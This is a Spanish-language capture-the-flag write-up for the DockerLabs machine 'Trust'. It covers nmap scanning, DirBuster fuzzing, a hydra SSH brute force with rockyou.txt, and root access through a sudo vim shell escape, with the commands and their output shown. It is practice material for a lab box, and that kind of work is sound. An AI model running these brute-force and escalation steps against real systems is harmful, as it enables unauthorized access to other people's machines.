WriteUp de la máquina Trust
Este WriteUp documenta la solución para la máquina “Trust” de DockerLabs. A través de varias etapas de reconocimiento, explotación y elevación de privilegios, el objetivo es obtener acceso a la máquina y escalar privilegios para convertirnos en el usuario root.
Resumen:
- Nombre: Trust
- Dificultad: Facil
- Autor: ElPinguinoDeMario
- Sistema Operativo: Linux
- Enlace: Dockerlabs
Progreso del WriteUp
Reconocimiento inicial
El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:
Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:
nmap 172.17.0.2
El resultado del escaneo de puertos fue:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 19:14 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000050s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
Resultado: El escaneo de puertos reveló dos servicios importantes:
- Puerto 22: Servicio SSH abierto.
- Puerto 80: Servicio HTTP abierto.
Fuzzing Web
El siguiente paso que realicé fue un fuzzing web, ya que había un servidor web corriendo en la máquina. Utilicé dirbuster
y obtuve el siguiente resultado:
└─# dirbuster
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /icons/ - 403
Dir found: /icons/small/ - 403
File found: /secret.php - 200
Dir found: /server-status/ - 403
DirBuster Stopped
Resultado: En el resultado se muestra la existencia de un archivo llamado secret.php
que al visitarlo me muestra una página con el siguiente contenido:
En el código fuente de la página no encontré nada interesante, pero recordando que el servicio SSH estaba activo en el puerto 22, utilicé el nombre de usuario mario
encontrado para realizar fuerza bruta.
Fuerza bruta SSH
Ya que la web no proporcionaba mucha información útil más allá de un posible nombre de usuario, procedí a utilizar hydra
para realizar un ataque de fuerza bruta de la siguiente manera:
hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
El resultado fue el siguiente:
[22][ssh] host: 172.17.0.2 login: mario password: QnVzY2EgbGEgY2xhdmUgZW4gb3RybyBsYWRvCg==
Con la contraseña obtenida, logré acceder por SSH con el usuario mario
:
ssh mario@172.17.0.2
Escalada de privilegios
Una vez conectado como el usuario mario
, procedí a escalar privilegios. Para ello, utilicé el comando sudo -l
, obteniendo el siguiente resultado:
~$ sudo -l
[sudo] password for mario:
Matching Defaults entries for mario on 30dc76e27a9d:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty
User mario may run the following commands on 30dc76e27a9d:
(ALL) /usr/bin/vim
Resultado: El usuario mario
podía ejecutar el comando /usr/bin/vim
con permisos elevados. Consulté GTFOBins y encontré una forma de aprovechar este permiso para obtener acceso como root
ejecutando el siguiente comando:
sudo vim -c ':!/bin/sh'
Con este comando, logré obtener acceso completo como root
.
Aprendizaje
La máquina Trust me permitió practicar varias técnicas de reconocimiento y explotación, desde fuzzing web hasta fuerza bruta y la escalada de privilegios mediante la ejecución de vim
con permisos elevados. Aprendí la importancia de revisar los permisos sudo asignados a cada usuario y cómo herramientas como GTFOBins pueden ser clave para identificar métodos de escalada de privilegios en sistemas mal configurados.
Comandos
- Despliegue de la máquina:
sudo bash auto_deploy.sh trust.tar
- Escaneo de puertos:
nmap 172.17.0.2
- Fuzzing web con Dirbuster:
dirbuster
- Fuerza bruta SSH:
hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
- Acceso por SSH:
ssh mario@172.17.0.2
- Escalada de privilegios con
vim
:sudo vim -c ':!/bin/sh'